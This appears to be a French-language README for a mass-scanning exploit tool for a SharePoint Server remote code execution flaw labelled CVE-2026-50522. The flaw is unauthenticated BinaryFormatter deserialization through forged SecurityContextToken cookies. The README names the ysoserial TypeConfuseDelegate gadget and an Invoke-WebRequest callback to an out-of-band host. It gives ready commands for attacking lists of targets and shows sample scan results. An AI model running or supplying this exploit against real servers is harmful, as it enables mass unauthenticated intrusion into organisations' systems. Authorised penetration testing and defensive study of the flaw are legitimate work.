
Preuve de concept CVE-2026-50522
Exécution de code à distance non authentifiée sur SharePoint Server via la désérialisation du cookie SecurityContextToken
Exploit de scan de masse pour CVE-2026-50522 ciblant Microsoft SharePoint Server sur site. Il exploite la désérialisation non sécurisée de BinaryFormatter dans le point de terminaison WS-Federation /_trust/default.aspx pour parvenir à une exécution de code non authentifiée via des cookies SecurityContextToken forgés.
Remarque: Ce projet inclut
ysoserial, un outil de test d'intrusion connu. Votre antivirus peut donc le signaler ou le mettre en quarantaine lors du téléchargement.
ysoserial.exe génère un payload sérialisé par BinaryFormatter à l'aide du gadget TypeConfuseDelegateInvoke-WebRequest vers une URL de callback hors bandeSecurityContextTokenRequestSecurityTokenResponse (WS-Federation)wresult est envoyé en POST à /_trust/default.aspxrequestspython CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain
| Argument | Description | Défaut |
|---|---|---|
-t, --target | URL d'une cible unique | - |
-T, --targets | Fichier contenant les URL cibles, une par ligne | - |
-c, --callback-url | URL de base du callback OOB (obligatoire) | - |
--callback-mode | path ou subdomain | path |
--ysoserial | Chemin vers ysoserial.exe | ysoserial.exe |
-x, --proxy | Proxy HTTP | aucun |
Mode chemin (par défaut):
http://YOUR_ID.oastify.com/10.10.10.5
Mode sous-domaine:
http://10.10.10.5.YOUR_ID.oastify.com
[*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]
[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed